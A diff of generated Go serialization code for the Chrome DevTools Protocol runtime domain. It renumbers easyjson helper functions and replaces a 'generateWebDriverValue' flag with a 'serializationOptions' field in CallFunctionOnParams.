||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CompileScriptReturns) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CompileScriptReturns) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CompileScriptReturns) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CompileScriptReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(in *jlexer.Lexer, out *CompileScriptParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(in *jlexer.Lexer, out *CompileScriptParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4519,7 +4614,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(out *jwriter.Writer, in CompileScriptParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(out *jwriter.Writer, in CompileScriptParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -4549,27 +4644,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CompileScriptParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CompileScriptParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CompileScriptParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CompileScriptParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(in *jlexer.Lexer, out *CallFunctionOnReturns) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(in *jlexer.Lexer, out *CallFunctionOnReturns) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4618,7 +4713,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(out *jwriter.Writer, in CallFunctionOnReturns) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(out *jwriter.Writer, in CallFunctionOnReturns) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -4644,27 +4739,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CallFunctionOnReturns) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CallFunctionOnReturns) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime49(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CallFunctionOnReturns) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CallFunctionOnReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime49(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(in *jlexer.Lexer, out *CallFunctionOnParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(in *jlexer.Lexer, out *CallFunctionOnParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4736,8 +4831,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(in *jlexer.Lexer, o
|
||||
out.ThrowOnSideEffect = bool(in.Bool())
|
||||
case "uniqueContextId":
|
||||
out.UniqueContextID = string(in.String())
|
||||
case "generateWebDriverValue":
|
||||
out.GenerateWebDriverValue = bool(in.Bool())
|
||||
case "serializationOptions":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.SerializationOptions = nil
|
||||
} else {
|
||||
if out.SerializationOptions == nil {
|
||||
out.SerializationOptions = new(SerializationOptions)
|
||||
}
|
||||
(*out.SerializationOptions).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -4748,7 +4851,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(out *jwriter.Writer, in CallFunctionOnParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(out *jwriter.Writer, in CallFunctionOnParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -4825,10 +4928,10 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(out *jwriter.Writer
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.UniqueContextID))
|
||||
}
|
||||
if in.GenerateWebDriverValue {
|
||||
const prefix string = ",\"generateWebDriverValue\":"
|
||||
if in.SerializationOptions != nil {
|
||||
const prefix string = ",\"serializationOptions\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.GenerateWebDriverValue))
|
||||
(*in.SerializationOptions).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
@@ -4836,27 +4939,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CallFunctionOnParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CallFunctionOnParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime50(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CallFunctionOnParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CallFunctionOnParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime50(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(in *jlexer.Lexer, out *CallFrame) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(in *jlexer.Lexer, out *CallFrame) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4895,7 +4998,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(out *jwriter.Writer, in CallFrame) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(out *jwriter.Writer, in CallFrame) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -4930,27 +5033,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CallFrame) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CallFrame) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime51(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CallFrame) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CallFrame) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime51(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(in *jlexer.Lexer, out *CallArgument) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(in *jlexer.Lexer, out *CallArgument) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4985,7 +5088,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(out *jwriter.Writer, in CallArgument) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(out *jwriter.Writer, in CallArgument) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -5021,27 +5124,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CallArgument) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CallArgument) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime52(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CallArgument) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CallArgument) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime52(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(in *jlexer.Lexer, out *AwaitPromiseReturns) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(in *jlexer.Lexer, out *AwaitPromiseReturns) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -5090,7 +5193,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(out *jwriter.Writer, in AwaitPromiseReturns) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(out *jwriter.Writer, in AwaitPromiseReturns) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -5116,27 +5219,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v AwaitPromiseReturns) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v AwaitPromiseReturns) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime53(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *AwaitPromiseReturns) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *AwaitPromiseReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime53(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(in *jlexer.Lexer, out *AwaitPromiseParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(in *jlexer.Lexer, out *AwaitPromiseParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -5171,7 +5274,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(out *jwriter.Writer, in AwaitPromiseParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(out *jwriter.Writer, in AwaitPromiseParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -5196,27 +5299,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v AwaitPromiseParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v AwaitPromiseParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime54(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *AwaitPromiseParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *AwaitPromiseParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime54(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(in *jlexer.Lexer, out *AddBindingParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime56(in *jlexer.Lexer, out *AddBindingParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -5249,7 +5352,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(out *jwriter.Writer, in AddBindingParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime56(out *jwriter.Writer, in AddBindingParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -5269,23 +5372,23 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v AddBindingParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime56(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v AddBindingParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime55(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime56(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *AddBindingParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime56(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *AddBindingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime55(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime56(l, v)
|
||||
}
|
||||
+38
-40
@@ -78,19 +78,19 @@ func (p *AwaitPromiseParams) Do(ctx context.Context) (result *RemoteObject, exce
|
||||
// CallFunctionOnParams calls function with given declaration on the given
|
||||
// object. Object group of the result is inherited from the target object.
|
||||
type CallFunctionOnParams struct {
|
||||
FunctionDeclaration string `json:"functionDeclaration"` // Declaration of the function to call.
|
||||
ObjectID RemoteObjectID `json:"objectId,omitempty"` // Identifier of the object to call function on. Either objectId or executionContextId should be specified.
|
||||
Arguments []*CallArgument `json:"arguments,omitempty"` // Call arguments. All call arguments must belong to the same JavaScript world as the target object.
|
||||
Silent bool `json:"silent,omitempty"` // In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state.
|
||||
ReturnByValue bool `json:"returnByValue,omitempty"` // Whether the result is expected to be a JSON object which should be sent by value.
|
||||
GeneratePreview bool `json:"generatePreview,omitempty"` // Whether preview should be generated for the result.
|
||||
UserGesture bool `json:"userGesture,omitempty"` // Whether execution should be treated as initiated by user in the UI.
|
||||
AwaitPromise bool `json:"awaitPromise,omitempty"` // Whether execution should await for resulting value and return once awaited promise is resolved.
|
||||
ExecutionContextID ExecutionContextID `json:"executionContextId,omitempty"` // Specifies execution context which global object will be used to call function on. Either executionContextId or objectId should be specified.
|
||||
ObjectGroup string `json:"objectGroup,omitempty"` // Symbolic group name that can be used to release multiple objects. If objectGroup is not specified and objectId is, objectGroup will be inherited from object.
|
||||
ThrowOnSideEffect bool `json:"throwOnSideEffect,omitempty"` // Whether to throw an exception if side effect cannot be ruled out during evaluation.
|
||||
UniqueContextID string `json:"uniqueContextId,omitempty"` // An alternative way to specify the execution context to call function on. Compared to contextId that may be reused across processes, this is guaranteed to be system-unique, so it can be used to prevent accidental function call in context different than intended (e.g. as a result of navigation across process boundaries). This is mutually exclusive with executionContextId.
|
||||
GenerateWebDriverValue bool `json:"generateWebDriverValue,omitempty"` // Whether the result should contain webDriverValue, serialized according to https://w3c.github.io/webdriver-bidi. This is mutually exclusive with returnByValue, but resulting objectId is still provided.
|
||||
FunctionDeclaration string `json:"functionDeclaration"` // Declaration of the function to call.
|
||||
ObjectID RemoteObjectID `json:"objectId,omitempty"` // Identifier of the object to call function on. Either objectId or executionContextId should be specified.
|
||||
Arguments []*CallArgument `json:"arguments,omitempty"` // Call arguments. All call arguments must belong to the same JavaScript world as the target object.
|
||||
Silent bool `json:"silent,omitempty"` // In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state.
|
||||
ReturnByValue bool `json:"returnByValue,omitempty"` // Whether the result is expected to be a JSON object which should be sent by value. Can be overridden by serializationOptions.
|
||||
GeneratePreview bool `json:"generatePreview,omitempty"` // Whether preview should be generated for the result.
|
||||
UserGesture bool `json:"userGesture,omitempty"` // Whether execution should be treated as initiated by user in the UI.
|
||||
AwaitPromise bool `json:"awaitPromise,omitempty"` // Whether execution should await for resulting value and return once awaited promise is resolved.
|
||||
ExecutionContextID ExecutionContextID `json:"executionContextId,omitempty"` // Specifies execution context which global object will be used to call function on. Either executionContextId or objectId should be specified.
|
||||
ObjectGroup string `json:"objectGroup,omitempty"` // Symbolic group name that can be used to release multiple objects. If objectGroup is not specified and objectId is, objectGroup will be inherited from object.
|
||||
ThrowOnSideEffect bool `json:"throwOnSideEffect,omitempty"` // Whether to throw an exception if side effect cannot be ruled out during evaluation.
|
||||
UniqueContextID string `json:"uniqueContextId,omitempty"` // An alternative way to specify the execution context to call function on. Compared to contextId that may be reused across processes, this is guaranteed to be system-unique, so it can be used to prevent accidental function call in context different than intended (e.g. as a result of navigation across process boundaries). This is mutually exclusive with executionContextId.
|
||||
SerializationOptions *SerializationOptions `json:"serializationOptions,omitempty"` // Specifies the result serialization. If provided, overrides generatePreview and returnByValue.
|
||||
}
|
||||
|
||||
// CallFunctionOn calls function with given declaration on the given object.
|
||||
@@ -129,7 +129,7 @@ func (p CallFunctionOnParams) WithSilent(silent bool) *CallFunctionOnParams {
|
||||
}
|
||||
|
||||
// WithReturnByValue whether the result is expected to be a JSON object which
|
||||
// should be sent by value.
|
||||
// should be sent by value. Can be overridden by serializationOptions.
|
||||
func (p CallFunctionOnParams) WithReturnByValue(returnByValue bool) *CallFunctionOnParams {
|
||||
p.ReturnByValue = returnByValue
|
||||
return &p
|
||||
@@ -189,12 +189,10 @@ func (p CallFunctionOnParams) WithUniqueContextID(uniqueContextID string) *CallF
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithGenerateWebDriverValue whether the result should contain
|
||||
// webDriverValue, serialized according to https://w3c.github.io/webdriver-bidi.
|
||||
// This is mutually exclusive with returnByValue, but resulting objectId is
|
||||
// still provided.
|
||||
func (p CallFunctionOnParams) WithGenerateWebDriverValue(generateWebDriverValue bool) *CallFunctionOnParams {
|
||||
p.GenerateWebDriverValue = generateWebDriverValue
|
||||
// WithSerializationOptions specifies the result serialization. If provided,
|
||||
// overrides generatePreview and returnByValue.
|
||||
func (p CallFunctionOnParams) WithSerializationOptions(serializationOptions *SerializationOptions) *CallFunctionOnParams {
|
||||
p.SerializationOptions = serializationOptions
|
||||
return &p
|
||||
}
|
||||
|
||||
@@ -329,22 +327,22 @@ func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// EvaluateParams evaluates expression on global object.
|
||||
type EvaluateParams struct {
|
||||
Expression string `json:"expression"` // Expression to evaluate.
|
||||
ObjectGroup string `json:"objectGroup,omitempty"` // Symbolic group name that can be used to release multiple objects.
|
||||
IncludeCommandLineAPI bool `json:"includeCommandLineAPI,omitempty"` // Determines whether Command Line API should be available during the evaluation.
|
||||
Silent bool `json:"silent,omitempty"` // In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state.
|
||||
ContextID ExecutionContextID `json:"contextId,omitempty"` // Specifies in which execution context to perform evaluation. If the parameter is omitted the evaluation will be performed in the context of the inspected page. This is mutually exclusive with uniqueContextId, which offers an alternative way to identify the execution context that is more reliable in a multi-process environment.
|
||||
ReturnByValue bool `json:"returnByValue,omitempty"` // Whether the result is expected to be a JSON object that should be sent by value.
|
||||
GeneratePreview bool `json:"generatePreview,omitempty"` // Whether preview should be generated for the result.
|
||||
UserGesture bool `json:"userGesture,omitempty"` // Whether execution should be treated as initiated by user in the UI.
|
||||
AwaitPromise bool `json:"awaitPromise,omitempty"` // Whether execution should await for resulting value and return once awaited promise is resolved.
|
||||
ThrowOnSideEffect bool `json:"throwOnSideEffect,omitempty"` // Whether to throw an exception if side effect cannot be ruled out during evaluation. This implies disableBreaks below.
|
||||
Timeout TimeDelta `json:"timeout,omitempty"` // Terminate execution after timing out (number of milliseconds).
|
||||
DisableBreaks bool `json:"disableBreaks,omitempty"` // Disable breakpoints during execution.
|
||||
